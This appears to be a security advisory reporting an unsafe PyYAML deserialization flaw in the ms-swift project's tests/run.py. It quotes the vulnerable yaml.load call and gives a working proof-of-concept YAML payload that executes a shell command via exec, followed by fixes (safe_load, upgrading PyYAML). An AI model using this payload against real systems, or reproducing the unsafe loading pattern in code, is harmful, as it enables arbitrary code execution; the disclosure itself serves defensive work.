MS SWIFT Remote Code Execution via unsafe PyYAML deserialization

Description

A Remote Code Execution (RCE) vulnerability exists in the modelscope/ms-swift project due to unsafe use of yaml.load() in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the tests/run.py script, where a user-supplied YAML configuration file is deserialized using yaml.load() with yaml.FullLoader.

If an attacker can control or replace the YAML configuration file provided to the --run_config argument, they may inject a malicious payload that results in arbitrary code execution.

Affected Repository

• Project: modelscope/ms-swift
• Affect versions: latest
• File: tests/run.py
• GitHub Permalink: https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420
• Dependency: PyYAML <= 5.3.1

Vulnerable Code

if args.run_config is not None and Path(args.run_config).exists():
    with open(args.run_config, encoding='utf-8') as f:
        run_config = yaml.load(f, Loader=yaml.FullLoader)

Proof of Concept (PoC)

Step 1: Create malicious YAML file (exploit.yaml)

!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('mkdir HACKED')"

Step 2: Execute with vulnerable PyYAML (<= 5.3.1)

import yaml

with open("exploit.yaml", "r") as f:
    cfg = yaml.load(f, Loader=yaml.FullLoader)

This results in execution of os.system, proving code execution.

Mitigation

• Replace yaml.load() with yaml.safe_load()
• Upgrade PyYAML to version 5.4 or later

Example Fix:

# Before
yaml.load(f, Loader=yaml.FullLoader)

# After
yaml.safe_load(f)

Author